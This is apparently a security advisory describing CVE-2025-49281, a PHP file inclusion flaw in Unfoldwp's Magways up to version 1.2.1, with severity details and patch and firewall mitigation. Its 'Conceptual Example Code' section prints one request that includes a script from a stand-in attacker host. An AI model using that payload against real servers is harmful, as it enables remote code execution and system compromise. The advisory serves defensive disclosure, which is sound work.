Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security flaw in Unfoldwp’s Magways software. The vulnerability, dubbed CVE-2025-49281, is a type of PHP Remote File Inclusion (RFI) vulnerability that allows for PHP Local File Inclusion (LFI). This type of vulnerability can have severe consequences, potentially leading to a complete compromise of the affected system or unauthorized access to sensitive data. It is particularly concerning because it affects all versions of the Magways software up to version 1.2.1, posing a significant risk to any organizations currently utilizing this software.
Vulnerability Summary
CVE ID: CVE-2025-49281
Severity: Critical (CVSS Score: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Unfoldwp Magways | Up to 1.2.1
How the Exploit Works
The vulnerability is due to improper control of the filename for ‘include’ and ‘require’ statements in PHP programs within the Magways software. This allows an attacker to include malicious scripts from remote servers, thereby executing arbitrary PHP code on the server running the vulnerable software. This could potentially lead to unauthorized access, data leakage, or even a complete system compromise.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. An attacker could craft a request similar to the one below, where “malicious_payload.php” is a script hosted on the attacker’s server:
GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.comIn this example, the attacker is exploiting the vulnerability by replacing the expected local file path with the URL of a malicious PHP script. When this request is processed by the server, the malicious script is included and executed.
Mitigation
The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor as soon as possible. However, if immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help to block or alert on attempts to exploit this vulnerability while a more permanent solution is implemented.